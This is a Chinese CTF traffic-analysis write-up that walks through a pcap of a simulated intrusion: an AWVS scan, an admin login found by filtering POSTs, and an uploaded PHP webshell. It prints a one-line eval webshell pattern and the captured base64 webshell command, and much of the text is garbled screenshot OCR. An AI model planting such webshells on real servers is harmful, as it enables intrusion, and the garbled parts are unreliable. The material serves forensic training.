流量分析——安恒科技(八月CTF)

原创

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流量分析

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一、题目背景

某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登 陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题

二、关卡列表

1 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器

2 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)

3 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

4 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码

5 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么

6 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少

7 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么

8 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么

9 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

10 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号密码登陆了mail系统(形式: username/password)

11 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少

三、解题过程

🚄 webone.pcap

1、黑客使用的扫描器

打开webone.pcap流量包,按照协议类型逐一查询。当看到http协议的时候,发现了明显的AVWS扫描器特征。

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文件(F)	编辑(E) 视图	(V) 跳转(G	i) 捕获(C)	分析(A)	统计(S)	电话(Y)	无线(W)	工具(T)	帮助(H))	
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http											;达式… +
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37	2828.029	192.168.	94.59	192.	168.32.	.189	HTTP	248	GET /p	page.php?id=1 HTTP/1.1	
37	2828.056	192.168.	32.189	192.	168.94.	. 59	HTTP	231	HTTP/1	l.1 200 OK (text/html)	
37	2844.616	192.168.	94.59	192.	168.32.	.189	HTTP	248	GET /p	page.php?id=1 HTTP/1.1	
37	2844.641	192.168.	32.189	192.	168.94.	. 59	HTTP	231	HTTP/1	l.1 200 OK (text/html)	
	2915.247	192.168.	94.59	192.	168.32.	.189	HTTP	338	GET /a	acunetix-wvs-test-for-some-inexister	nt
38	2915.247	192.168.	94.59	192.	168.32.	.189	HTTP	296	GET /	HTTP/1.1	
- 38	2915.248	192.168.	32.189	192.	168.94.	. 59	HTTP	554	HTTP/1	1.1 404 Not Found (text/html)	
38	2915.278	192.168.	32.189	192.	168.94.	. 59	HTTP	59	HTTP/1	l.1 200 OK (text/html)	
38	2917.471	192.168.	94.59	192.	168.32.	.189	HTTP	369	GET /	HTTP/1.1	~
> Fram	ie 3835: 338	bytes o	n wire (2704 bi	ts), 33	8 bytes	capture	d (2704	4 bits))	^
> Ethe	ernet II, Sr	c: Hangz	hou 39:4	2:ed (b	0:f9:63	:39:42:	ed), Dst	: Vmwa	re cb:9	, 9f:85 (00:0c:29:cb:9f:85)	
> Inte	ernet Protoc	ol Versi	on 4, Sr	c: 192.	168.94.	59, Dst	: 192.16	8.32.1	89		
> Trar	smission Co	ntrol Pr	otocol,	Src Por	t: 1110	, Dst P	ort: 80,	Seq:	1, Ack:	: 1, Len: 284	
✓ Hype	ertext Trans	fer Prot	ocol			·					
> G	ET /acuneti:	x-wvs-tes	st-for-so	ome-inex	istent-	file H	TTP/1.1\r	r\n			
U	ser-Agent: 1	Mozilla/9	5.0 (Wind	dows NT	6.1; WC	W64) A	ppleWebKi	t/537.	21 (KH	TML, like Gecko) Chrome/41.0.2228.0	Safa
Р	ragma: no-ca	ache\r\n									
н	ost: 192.16	8.32.189	\r\n								
C	onnection: (Close\r\r	1								
A	ccept-Encod:	ing: gzip	,deflate	e\r\n							
Α	ccent: */*\u	r\n									~
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0040	74 69 78 20	1 77 76 7	3 2d 74	65 73	74 2d 6	6 6f 72	2 tix-w	vs- te	st-for		
0050	2d 73 6f 6d	1 65 2d 6	96e 65	78 69 50 05	/3 74 6	56e74	-some	-in ex	istent		
0050		203204	85454 7656-	50 Zt	31 Ze 3	1 00 0a	a -tile		/1.1··		
0070	6c 6c 61 24	20410 35263	0 20 20 0 20 20	74 5a	20 40 0 60 61 6	1 7 a 05 4 77 73	05er-	Age nt 0 (W	indows		
0090	20 4e 54 20) 36 2e 3	1 3b 20	57 4f	57 36 3	4 29 20) NT 6	.1: W	0W64)		
00a0	41 70 70 60	65 57 6	5 62 4b	69 74	2f 35 3	3 37 2e	Apple	Web Ki	t/537.		
00b0	32 31 20 28	3 4b 48 5	4 4d 4c	2c 20	6c 69 6	b 65 20) 21 (K	HTM L,	like		
0 2	webone. pcap									分组: 736029 · 已显示: 140933(19.1%) 配置	: Default

通过 http contains acunetix 命令可以发现更多awvs的特征,说明黑客是用awvs扫描器进行扫描的。 此时也可得知黑客所使用的IP地址可能是 192.168.94.59,这个IP地址到后面会有一定的作用。

webone.pcap	_		×
文件(F) 编辑(E) 视图(V) 跳转(G) 捕获(C) 分析(A) 统计(S) 电话(Y) 无线(W) 工具(T) 帮助(H)			
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📕 http contains acumetix		表达式…	+
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No.	Time	Source	Destination	Protocol Length Info		^
> 38	2915.247	192.168.94.59	192.168.32.189	HTTP 338 GET	/acunetix-wvs-test-for-some-inexistent	
- 38	2915.248	192.168.32.189	192.168.94.59	HTTP 554 HTTP	/1.1 404 Not Found (text/html)	
39.	2920.708	192.168.94.59	192.168.32.189	HTTP 1548 GET	/ HTTP/1.1	
40.	2920.907	192.168.94.59	192.168.32.189	HTTP 305 GET	http://www.acunetix.wvs HTTP/1.1	
40.	. 2920.911	192.168.94.59	192.168.32.189	TCP 306 1142	→ 80 [PSH, ACK] Seq=1 Ack=1 Win=17408	
42.	2921.252	192.168.94.59	192.168.32.189	HTTP 297 GET	/index HTTP/1.1	
42.	2921.273	192.168.94.59	192.168.32.189	HTTP 299 GET	/default HTTP/1.1	
78.	2925.679	192.168.94.59	192.168.32.189	HTTP 971 POST	/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F	~
> Fra	ame 3835: 338	bytes on wire (270	4 bits), 338 bytes o	aptured (2704 bit	s)	^
> Eth	nernet II, Sr	c: Hangzhou_39:42:e	d (b0:f9:63:39:42:ed	l), Dst: Vmware_cb	:9f:85 (00:0c:29:cb:9f:85)	
> Int	ernet Protoc	ol Version 4, Src:	192.168.94.59, Dst:	192.168.32.189		
> Tra	ansmission Co	ntrol Protocol, Src	Port: 1110, Dst Por	t: 80, Seq: 1, Ac	k: 1, Len: 284	
∽ Нур	ertext Trans	fer Protocol				
>	GET /acuneti	x-wvs-test-for-some-	inexistent-file HTT	P/1.1\r\n		
I	User-Agent: 1	Mozilla/5.0 (Windows	NT 6.1; WOW64) App	leWebKit/537.21 (H	KHTML, like Gecko) Chrome/41.0.2228.0 Safar	·i.
	Pragma: no-ca	ache\r\n				
	Host: 192.16	8.32.189\r\n				
	Connection: (Close\r\n				
	Accept-Encod:	ing: gzip,deflate\r\	\n			
	Accept: */*\	r\n				~
<						>
00a0	41 70 70 60	: 65 57 65 62 4b 69	74 2f 35 33 37 2e	AppleWeb Kit/537	· .	^
00b0	32 31 20 28	3 4b 48 54 4d 4c 2c	20 6c 69 6b 65 20	21 (KHTM L, like	2	
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0120	73 65 0d 0a	A1 63 63 65 74 69 67	2d 45 6e 63 6f 64		d	
0130	69 6e 67 3a	20 67 7a 69 70 7c		ing: gri n.defla	it .	
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0 7	HTTP Host (htt	m.host), 22 字节			分组: 736029 · 戸泉示: 31637 (4,3%) 四苦: Tefavi	.GŤ
-		T			I NAT TARA CITATION CONTRACTOR IN BUT PERGE	

2、黑客扫描到的登陆后台

登陆后台99%使用的是 POST 方法,直接使用过滤器过滤。

http.request.method=="POST"

🗲 webone.pcap			- • >
文件(F) 编辑(E) 视图(V) 跳转(G) 捕获(C)	分析(A) 统计(S) 电话(V) 无线	A) 工具(T) 報助(H)	
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http. request. method="POST"			◎
o. Time Source	Destination Pro	col Leneth Info	
+ 86 54.823928 192.168.94.233	192.168.32.189 HTT	753 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)	
490 390.0149 192.168.94.233	192.168.32.189 HTT	753 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)	
872 418.8542 192.168.94.233	192.168.32.189 HTT	1740 POST /admin/article.php?rec=update HTTP/1.1	
12 608.7543 192.168.94.233	192.168.32.189 HTT	1381 POST /admin/page.php?rec=update HTTP/1.1 (application/x-www-form-urlencoded)	
14 723.3313 192.168.94.233	192.168.32.189 HTT	1103 POST /admin/page.php?rec=update HTTP/1.1 (application/x-www-form-urlencoded)	
19 962.0422 192.168.94.233	192.168.32.189 HTT	1090 POST /admin/backup.php?rec=backup HTTP/1.1 (application/x-www-form-urlencoded)	
39 2920.710 192.168.94.59	192.168.32.189 HTT	426 POST /console/j_security_check HTTP/1.1 (application/x-www-form-urlencoded)	
52 2922.429 192.168.94.59	192.168.32.189 HTT	425 POST /_vti_bin/shtml.exe?_vti_rpc HTTP/1.1 (application/x-www-form-urlencoded)	
53 2922.529 192.168.94.59	192.168.32.189 HTT	426 POST /_vti_bin/_vti_aut/author.dll HTTP/1.1 (application/x-www-form-urlencoded)	
68 2924.151 192.168.94.59	192.168.32.189 HTT	324 POST / HTTP/1.1	-
72 2924.636 192.168.94.59	192.168.32.189 HTT	730 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)	
Frame 96, 752 hutter on udge (603	402 400 22 400 UT		
Ethennet TT Snc: Hangzhou 39:42	+ DICS), 755 Dyces captur	u (024 015) htt://www.ch.0f.85 (00.0c-20.ch.0f.85)	
Internet Protocol Version 4 Sec	- 102 168 04 233 Det - 10	168 33 180	
Internet Protocol Version 4, 510	nc Pont: 54744 Det Pont:	80 Sec 1 Ack 1 Jap 600	
Hypertext Transfer Protocol	, e rore. 54744, 53e rore.	00, 36q. 1, McK. 1, Len. 000	
HTML Form URL Encoded: applicati	on/x-www-form-urlencoded		
> Form item: "user name" = "人事			
> Form item: "password" = "hr12	3456"		
> Form item: "submit" = "晉录"			
2000 00 0c 29 cb 9f 85 b0 f9 63	39 42 ed 08 00 45 00)	
010 02 e3 48 93 40 00 7f 06 af	8a c0 a8 5e e9 c0 a8		
020 20 bd d5 d8 00 50 67 7a 68	44 7c af a8 44 50 18	····Pgz hD ··DP·	
0030 01 00 16 e6 00 00 50 4f 53	54 20 2f 61 64 6d 69	····PO ST /admi	
0040 6e 2f 6c 6f 67 69 6e 2e 70	68 70 3f 72 65 63 3d n	login. php?rec=	
0050 6c 6f 67 69 6e 20 48 54 54	50 2f 31 2e 31 0d 0a 10	gin HT TP/1.1	
060 48 6f 73 74 3a 20 31 39 32	2e 31 36 38 2e 33 32 Ho	19 2.168.32	
20/0 2e 31 38 39 0d 0a 43 6f 6e	6e 65 63 /4 69 6f 6e .:	19- Connection	
3000 3a 20 00 03 65 70 20 61 60	67 74 69 30 20 37 32 m		
0000 0e 74 05 0e 74 20 40 05 0e	6f 6e 74 72 6f 6c 3a	Inche Ignit 74	
20b0 20 6d 61 78 2d 61 67 65 3d	30 0d 0a 4f 72 69 67	As-ace =0Orig	
00c0 69 6e 3a 20 68 74 74 70 3a	2f 2f 31 39 32 2e 31 in	: http://192.1	
00d0 36 38 2e 33 32 2e 31 38 39	0d 0a 55 70 67 72 61 68	.32.18 9. Upgra	
00e0 64 65 2d 49 6e 73 65 63 75	72 65 2d 52 65 71 75 de	-Insec ure-Requ	
IGFA 65 73 74 73 35 20 31 AH AS	13 6f 60 71 65 60 71 0	ce 1. Contant	

找出存在 rec=login 的流量,通过追踪TCP流,如果看到是302重定向,基本就是表示登陆成功。

▲ Wireshark · 追踪 TCP 流 (tcp.stream eq 4) · webone.pcap	-		×
POST /admin/login.php?rec=login HTTP/1.1			
Host: 192.168.32.189			
Connection: keep-alive			
Content-Length: 72			
Cache-Control: max-age=0			
Origin: http://192.168.32.189			
Upgrade-Insecure-Requests: 1			
Content-Type: application/x-www-form-urlencoded	1/1+ /50	7 76	
User-Agent: Mozilia/5.0 (Windows NI 6.1; Win64; X64) Applewer)K1T/53	7.36	
(KTITPL, IIKe GECKO) CTITOME/00.0.3440.04 Satari/357.50) imago	1	
webn_image/anng */*:g=0.8	', illage	/	
Referer: http://192.168.32.189/admin/login.php			
Accept-Encoding: gzip. deflate			
Accept-Language: zh-CN.zh:q=0.9			
Cookie: PHPSESSID=9c0akmao1oop7t2itcss7dmvm2			
user_name=%E4%BA%BA%E4%BA%8B&password=hr123456&submit=%E7%99%	6B8%E5%	BD%95H	TTP
/1.1 302 Found			
Date: Wed, 08 Aug 2018 06:35:42 GMT			
Server: Apache/2.2.15 (CentOS)			
X-Powered-By: PHP/5.4.45			
Expires: Fri, 14 Mar 1980 20:53:00 GMT			
Cache-Control: no-cache, must-revalidate			
Pragma: no-cache			
Last-Modified: Wed, 08 Aug 2018 06:35:42 GMI			
Content Longth: 0			
Connection: close			
Content-Type: text/html: charset=utf-8			
concerne typer certe, namely endineer act o			
1 李白維 从程 1 即见禁 从程 1 turn(c)			
■ 20 m が起, 1 m m m m m m m m m m m m m m m m m m	I v	流 4	÷
本44.			(v)
	1	14 N)-(N)
滤掉此流 打印 Save as […] 返回 C.S	999 @	lohiti	y.G

可以看到第一个就是 302重定向 了。 此处只是示例,后面还有很多是 302重定向 的流量,此处省略。

3、黑客登陆web后台所使用的账号密码(形式:username/password)

通过上题的查询,发现有很多 302重定向 登陆成功的结果,有很多不同的账号密码,为了确定黑客所使用的,根据第一题所查找 的黑客的ip地址 192.168.94.59,并得出上题查询的登录流量存在 rec=login,再次使用过滤语句过滤。

htt	p.red	quest.met	hod=="POS1	T" an	d ip.	src==192.168.94.5	9 and http contains "rec=login"	
🚄 web	one.pcap						- (o ×
文件(F)	編辑(E) 初	2图(V) 跳转(G) 捕获(C)	分析(A) 统计(S) 电话(Y)) 无线(W) :	工具(T) 帮助	H)		
<i>i</i> =	1 💿 📘	ि 🔀 🖸 । ९ 👄 🖷	🛎 T 🛓 📃 📃 Q, Q,	Q. 🎹				
📕 http	. request. neth	uod="POST" and ip. src=19	2.168.94.59 and http contai	ins ″reo≖login	1″		🛛 🗔 💌 🙏	达式… +
No.	Time	Source	Bestination	Protocol I	Length Info			^
73	5623.712	2 192.168.94.59	192.168.32.189	HTTP	733 POST	/admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)	
73	5623.728	3 192.168.94.59	192.168.32.189	HTTP	734 POST	/admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)	
73	5623.737	192.168.94.59	192.168.32.189	HTTP	736 POST	/admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)	
73	5623.737	7 192.168.94.59	192.168.32.189	HTTP	734 POST	/admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)	
73	5623.747	7 192.168.94.59	192.168.32.189	HTTP	735 POST	/admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)	
73	5626.308	3 192.168.94.59	192.168.32.189		734 [TCP	Spurious Retransmission] POST /admin	/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)	
73	5626.308	3 192.168.94.59						
73	FC9C 373	102 109 04 50	100 100 00 100	11770	776 [769	Countries Determinational DOCT (education	(looks shalara looks HTTD/4 4 - /aaslianda da aa Gaas walaandad)	

73		. 192.168.94.59				/login.php?rec=login HTTP/1.1 (application/x-www-form-urlenc		
73	5702.375.	. 192.168.94.59	192.168.32.189	HTTP	731 POST /admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)		
-73	5817.763.	. 192.168.94.59	192.168.32.189	HTTP	754 POST /admin/login.php?rec=login HTTP/1.1	(application/x-www-form-urlencoded)		—
	722547	754.1	(6000 111) 754 1 1		(6022 111)			
> Fra	ime /3351/:	754 bytes on wire	(6032 D1ts), 754 Dyte	es captured	(6032 DITS)			
2 EU	lernet II, s	Src: Hangzhou_59:4		ed), DSC: 1	/mware_cd:91:65 (00:00:29:00:91:65)			
> Int	ernet prote	Control Protocol	Spc Popt: 12629 Det 1	: 192.100.:	22.109			
> Hur	entext Tran	sfer Protocol	SIC FORC. 12020, 0SC 1	FOFC: 00, .	eq. 1, Acc. 1, Len. 700			
Y HTN	L Form LIRI	Encoded: applicat	ion/x-waw-form-urlence	nded				
	Form item:	"user name" = "adr	min"	bucu				
>	Form item:	"nassword" = "admi	inl@#pass123"					
>	Form item:	"submit" = "谷录"						
		11.7						
0200	2a 3b 71	3d 30 2e 38 0d 0a	3 52 65 66 65 72 65 72	*;q-0.8	Referer			^
0210	3a 20 68 1	74 74 70 3a 2f 2f	F 31 39 32 2e 31 36 38	: http:	/ /192.168			
0220	2e 33 32 2	2e 31 38 39 2f 61	l 64 6d 69 6e 2f 6c 6f	.32.189	/ admin/lo			
0230	67 69 6e 2	2e 70 68 70 0d 0a	a 41 63 63 65 70 74 2d	gin.php	Accept-			
0240	45 6e 63 6	6f 64 69 6e 67 3a	a 20 67 7a 69 70 2c 20	Encoding	g : gzip,			
0250	64 65 66 6	6c 61 /4 65 0d 0a	a 41 63 63 65 70 74 2d	de+late	Accept-			
0260	40 61 66 6		a 20 /a 68 20 43 4e 2c	Language	e : zn-un,			
0270	7a 00 50 a	/1 50 50 20 59 60 48 50 53 45 53 53	00 40 00 00 00 00 00 00 00 00 00 00 00 0	2n;q=0.	STD			
0200	67 72 38 6	6b 7/ 68 6/ 66 63	67 62 61 6f 65 65 66	an8kthd	F cabaceef			
0200	70 67 67 7	76 37 34 0d 0a 0d	1 0a 75 73 65 72 5f 6e	nggv74-	- user n			
02b0	61 6d 65	3d 61 64 6d 69 6e	26 70 61 73 73 77 6f	ame=adm	n&passwo			
02c0	72 64 3d	61 64 6d 69 6e 25	5 32 31 25 34 30 25 32	rd=admi	*21%40%2			
02d0	33 70 61	73 73 31 32 33 26	5 73 75 62 6d 69 74 3d	3pass12	&submit=			
02e0	25 45 37 2	25 39 39 25 42 42	2 25 45 35 25 42 44 25	%E7%99%	3 B%E5%BD%			
02f0	39 35			95				
								-CSDN @tohoov 6
0 2	HIML Form UR	KL Encoded (urlencoded-f	iorm), 72 字节				分组: 736029 · 已显示: 2500 (0.3%)	就畫: Défait

由于通过过滤之后,仍存在众多 302重定向 登陆的流量,逐一进行追踪TCP流这种方法不现实,因此根据其它大师以往的经验, 直接追踪最后一个流量的TCP流(一般黑客成功登录到需要的后台,就不会继续),如果查询出是 302重定向,那么此流量所提 交的表单中就有我们所需要的账号和密码。

🧲 Wireshark ·追踪 TCP 流 (tcp.stream eq 71841) · webone.pcap	-		×
POST /admin/login.php?rec=login HTTP/1.1			
Host: 192.168.32.189			
Connection: keep-alive			
Content-Length: 72			
Cache-Control: max-age=0			
Origin: http://192.168.32.189			
Upgrade-Insecure-Requests: 1			
Content-Type: application/x-www-form-urlencoded			
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW	ebKit/5	37.36	
(KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36			
Accept: text/html,application/xhtml+xml,application/xml;q=0.	9,image	1	
webp,image/apng,*/*;q=0.8			
Referer: http://192.168.32.189/admin/login.php			
Accept-Encoding: gzip, deflate			
Accept-Language: zh-CN,zh;q=0.9			
Cookie: PHPSESSID=am29gr8kthd+cgbaoee+pggv/4			
user_name=admin&password=admin%21%40%23pass123&submit=%E7%99	%BB%E5%	BD%95H	ТТР
/1.1 302 Found			
Date: Wed, 08 Aug 2018 08:11:45 GMT			
Server: Apache/2.2.15 (CentOS)			
X-Powered-By: PHP/5.4.45			
Expires: Fri, 14 Mar 1980 20:53:00 GMT			
Cache-Control: no-cache, must-revalidate			
Pragma: no-cache			
Last-Modified: Wed, 08 Aug 2018 08:11:45 GMT			
Location: http://192.168.32.189/admin/index.php			
Content-Length: 0			
Connection: close			
Content-Type: text/html; charset=utf-8			
- 分組 733517。1 客户端 分組,1 服务器 分組,1 turn(s).点击选择。			
整个对话 (1090 bytes) ~ 显示和保存数据为 ASC	II ~	流 71841	-
查找:	1	查找下一个	(N)
滤掉此流 打印 Save as ··· 返回 C ···	5D11 @	lohhh	y.G

可以看到最后一个流量是 302重定向,通过前面一张图可得知黑客登陆web后台所使用的账号密码是 (admin/admin!@#pass123)

4、黑客上传的webshell文件名、内容以及内容的base编码

webshell也就是一句话木马,而通常一句话木马的样式为 <?php @eval(\$_POST['pass']); ?>。 先通过过滤语句进行过滤。

http.request.method=="POST" and ip.src==192.168.94.59 and http

/ wok					- a ×
	anterpeap		()たい (か)よい) 中)ぎの		
×1+(r)	1 96884(C) 100	(V) 20049(C) 3469+(C)	ガサT(A) 卵をTT(S) 电油(Y)	vv)(i) ====================================	
A		- X - Y	≌ % ⊻ ⊒ ⊒ ⊄ ⊄		
http	, request, metho	od="POST" and ip. src=1	92.168.94.59 and http		▲ 二 ● 表达式… +
No.	Time	Source	Bestination	iorol Length Info	
75	5/69./16.	192.100.94.59	192.100.32.109	P 654 POST /admin/cloud.php?rec=update_numper niP/1.1 (application/x-www-torm-urlencode 254 POST /admin/cloud.php?rec=update_numper niP/1.1 (application/x-www-torm-urlencode)	
75	5017.705.	192.100.94.59	192.100.32.109	P 754 POST /admin/login.php?rec=login http://liaphication/x-www-form-uriencoded) C42 POST /admin/login.php?rec=login http://liaphication/x-www-form-uriencoded)	
/ 2	5035.009.	192.100.94.59	192.100.32.109	P 645 POST /admin/cloud.php?rec=update_number niP/1.1 (application/x-www-torm-urlencode 21 2005 (intersection) (intersection) (intersection) (intersection) (intersection)	(d)
72	5950.057.	192.100.94.59	192.100.32.109	P /SI POST /images/article/a.php HTTP/1.1 (application/x.www-torm-uniencoded)	
73	59/1 3//	192.108.94.59	192.100.32.109	P 795 POST /images/article/a.php HTTP/1.1 (application/x-www-form-unlencoded)	
73	5982 587	192.108.94.59	192.108.32.189	P /53 POST /images/article/a.php HTTP/1.1 (application/x-www-form-unlencoded)	
73	5992.007.	192.108.94.59	192.108.32.189	P 779 POST /images/article/a.php HTTP/1.1 (application/x-www-form-unlencoded)	
73	5992.026	192 168 94 59	192.168 32 189	P 779 POST / images/article/a php HTTP/11 (application/x-www-form-unlencoded)	
73	6004 768	192 168 94 59	192.168 32 189	P 761 POST / images/article/a nhn HTTP/11 (annlication/x-www.form.urlencoded)	
73	6006 278	192 168 94 59	192.168 32 189	P 761 POST / images/article/a nhn HTTP/11 (annlication/x-www.form.urlencoded)	
7.5	C000 454	402 400 04 50	402 400 32 400	D 734 DOCT // / / / / / / / / / / / / / / / / /	v
> Etf > Int > Tra > [2 > Hyp > HTN >	ernet II, s cernet Prote ansmission (Reassemble pertext Train NL Form URL Form item:	Src: Hangzhou_39:4 ocol Version 4, Sr Control Protocol, d TCP Segments (92 nsfer Protocol Encoded: applicat "1234" = "@eval@(<pre>l2:ed (b0:f9:63:39:42:e c: 192.168.94.59, Dst: Src Port: 12855, Dst f 22 bytes): #733930(245) :ion/x-www-form-urlence base64_decode(\$_POST[a</pre>	Dst: Vmare_cb9f:85 (08:0c:29:cb:9f:85) 1.68.32.189 80, Seq: 246, Ack: 1, Len: 677 33932(677)]	
<					>
0000 0010 0020 0030 0040 0050 0060 0050 0050 0090 0090 0090 009	00 0c 29 02 cd 23 20 bd 32 00 44 36 01 28 62 24 54 58 36 5a 58 73 61 57 30 58 32 6c 63 31 70 4f 32 43 49 70	$ \begin{array}{c} {\rm cb} \ 97 \ 85 \ b0 \ 79 \ 65 \\ {\rm cf} \ 40 \ 80 \ 77 \ 66 \ d\\ {\rm 37} \ 60 \ 50 \ 87 \ b4 \ 1 \\ {\rm 15} \ 60 \ 80 \ 87 \ b4 \ 1 \\ {\rm 15} \ 60 \ 80 \ 87 \ b4 \ 51 \\ {\rm 15} \ 60 \ 80 \ 87 \ b4 \ 51 \\ {\rm 15} \ 54 \ 5b \ 51 \ 65 \\ {\rm 16} \ 53 \ 54 \ 5b \ 61 \ 65 \\ {\rm 16} \ 53 \ 54 \ 5b \ 61 \ 65 \\ {\rm 16} \ 53 \ 74 \ 69 \ 64 \ 52 \ 76 \\ {\rm 14} \ 79 \ 62 \ 33 \ 44 \ 73 \ 42 \ 73 \ 54 \ 55 \ 52 \ 65 \\ {\rm 16} \ 63 \ 52 \ 52 \ 52 \ 52 \ 52 \ 52 \ 52 \ 5$	$\begin{array}{cccccccccccccccccccccccccccccccccccc$)c88E. #@	~
Frane	(731 bytes) webone.pcap	Reassembled TCP (922 b	ytes)		分组: 736029 ・已显示: 3303 (0.4%) CSDN (回) (11010円 (日本) 開催: Diefault

通过漫长而又无聊的翻阅流量后,发现了一处存在疑点(图片上传功能上传了一堆a.php文件(一般不会在上传图片中上传PHP 文件),此时可以猜测有可能是黑客通过图片上传功能上传木马。

通过追踪TCP流,发现类似一句话木马的样式 @eval.(base64_decode(\$_POST[action])),确认这就是一句话木马。

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 71865) · webone.pcap	-		×
<pre>POST /images/article/a.php HTTP/1.1 User-Agent: Java/1.8.0_171 Host: 192.168.32.189 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 677 1234=@eval</pre>			
<pre>(base64_decode(\$_POST[action]));&action=QGluaV9zZXQoImRpc3BsY) MCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ21jX3F1b3Rlc19ydW50aW Ii0%2BfCIpOzskRD1kaXJuYW11KCRfU0VSVkVSWyJTQ1JJUFRfRk1MRU5BTUUJ IiKSREPWRpcm5hbWUoJF9TRVJWRVJbI1BBVEhfVFJBT1NMQVRFRCJdKTskUj0j hzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3J1YWNoKHJhbmd1KCJBIiwiWiIpIGFz RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9u 9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc214X2d1dGV1aWQc 0oJHUpPyR1WyduYW11J106QGd1dF9jdXJyZW50X3VzZXIoKTskUi49CGhwX3Vu IoeyR1c3J9KSI7cHJpbnQgJFI702VjaG8oInw8LSIp02RpZSgp0w%3D%3DHTTF Date: Wed, 08 Aug 2018 08:13:44 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.45</pre>	(1fZXJ) /11KDA /XSk7al /2XSk7al /2CRMKI /22V4a) /X2V4a) /XSk6J /YW11K(//1.1	yb3JzI pO2Vja NYoJEQ Vx0Ijt VlmKG1 XN0cyg yc7JHV Ck7JFI 200 OK	iwi G8o 9PS pZi zX2 ncG zcj uPS

Content-Length: 140 Connection: close Content-Type: text/html; charset=UTF-8	8
<pre>-> /var/www/html/images/article localhost.localdomain 2.6.32-504.23.4 UTC 2015 x86_64(apache) <-</pre>	Linux .el6.x86_64 #1 SMP Tue Jun 9 20:57:37
2 客户端 分组, 1 服务器 分组, 1 turn(s).	
整个对话(1256 bytes)	✓ 显示和保存数据为 ASCII ✓ 流 71865 -
查找:	查找下一个(N)
滤掉此流 打印	Save as*** 返回 CSD科 @Joh将科y.G

通过上图得出1234为传递值,并有base64加密过的内容,通过解密(注:%2B是+,需要更换后才能成功解密)。

QG1uaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwiMCIp00BzZXRfdG1tZV9saW1pdCgwKTtAc2V0X21hZ21jX3F1b3R1c19ydW50aW11KDAp02VjaG8oIi0<mark>%2</mark> fCIp0zskRD1kaXJuYW11KCRfU0VSVkVSWyJTQ1JJUFRfk1MRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWuoJF9TRVJWRVJbI1BBVEhfVFJBT1NM QVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3J1YWNoKHJhbmd1KCJBIiwiWiIpIGFzICRMKW1mKG1zX2RpcigieyRMf ToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc214X2 d1dGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW11J106QGd1dF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW11KCk7JFIuPSIoeyR1c3J9KSI7cHJ pbnQgJFI702VjaG8oInw8LSIp02RpZSgpOw

清空 │加密 │解密 │□解密为UTF-8字节流

CSDN @Johnny.G

通过解密发现是php代码。

